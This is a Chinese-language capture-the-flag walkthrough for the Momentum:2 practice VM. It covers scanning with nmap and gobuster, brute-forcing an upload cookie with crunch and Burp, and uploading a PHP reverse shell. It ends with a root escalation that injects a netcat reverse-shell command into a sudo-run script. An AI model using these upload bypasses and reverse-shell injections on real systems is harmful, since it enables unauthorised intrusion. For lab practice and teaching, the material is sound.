Momentum 2

Momentum:2

一、基本信息

名称:Momentum:2

发布日期:2021.6.28

作者:AL1ENUM

系列:Momentum

推特:@AL1ENUM

二、靶机简介

Flags:

www-data:/home/athena/user.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:Momentum2.ova

文件大小:698MB

下载地址:

MD5: 5E837FD87D809C499911B1CB1A257CD9

SHA1: 17FACC18FE6A6979159C4D0A09CC330602E81E68

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Momentum2和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问首页有一些图片:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.107 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现五个可见目录,可以去看看:

1
gobuster dir -u http://192.168.56.107/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

文件上传漏洞发现

1.访问一下dashboard.html页面,是一个上传页,会将文件传到目录/owls下,而这个目录无法直接上传php文件,只能上传txt文件:

image-

2.在前端js是没有做出文件上出限制的,目录扫描到ajax.php是0kb,可以去查看ajax.php.bak文件,发现规定在cookie中做出了上传限制,则想到BP抓包修改cookie:

image-

image-

ajax.php.bak代码的内容是:当cookie存在,且键名为admin时,是可以上传pdf、php、txt文件的;不过admin需要一个值,代码中已经给出了值,但是在这个值的最后还缺少一位大写的字符;此外,还要使用post方式提交一个参数secure;最后上传成功时会返回一个1

3.使用crunch生成一个最后一位是大写的字符字典,用于等下BP去爆破cookie;并且修改kali自带的webshell,准备上传:

1
2
crunch 1 1 -t , -o pass.txt
vim /usr/share/webshells/php/php-reverse-shell.php

image-

image-

Burpsuite抓包修改

1.在dashboard.html选择上传php-reverse-shell.php,用BP拦截后,导入Intruder模块,加载刚才生成的字典pass.txt,并添加一个POST数据:

image-

image-

image-
2.开始爆破cookie,发现最后的大写字符是R,来到Repeater模块,添加cookie和post后发送包,在kali开启端口监听,在/owls目录触发webshell:

image-

image-

image-

image-

3.用python构建一个交互式shell,然后在/home/athena目录下可以发现第一个flag,即user.txt:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-

root提权

1.查看同目录下的password-reminder.txt文件,得到一个密码提示,Asterisk是的意思,可以猜测是任意字符,但其实ssh登录尝试一下就是

image-

image-

2.查看当前用户权限,可以以root身份执行cookie-gen.py,查看文件,发现会将输入的值传给seed参数,然后写入到log.txt中,在echo时会执行bash命令:

image-

3.可以直接输入反弹shell给seed,然后kali开启对应端口监听,在/root目录下能得到第二个flag,即root.txt:

1
反弹shell:;nc 192.168.56.102 12345 -e /bin/sh;

image-

image-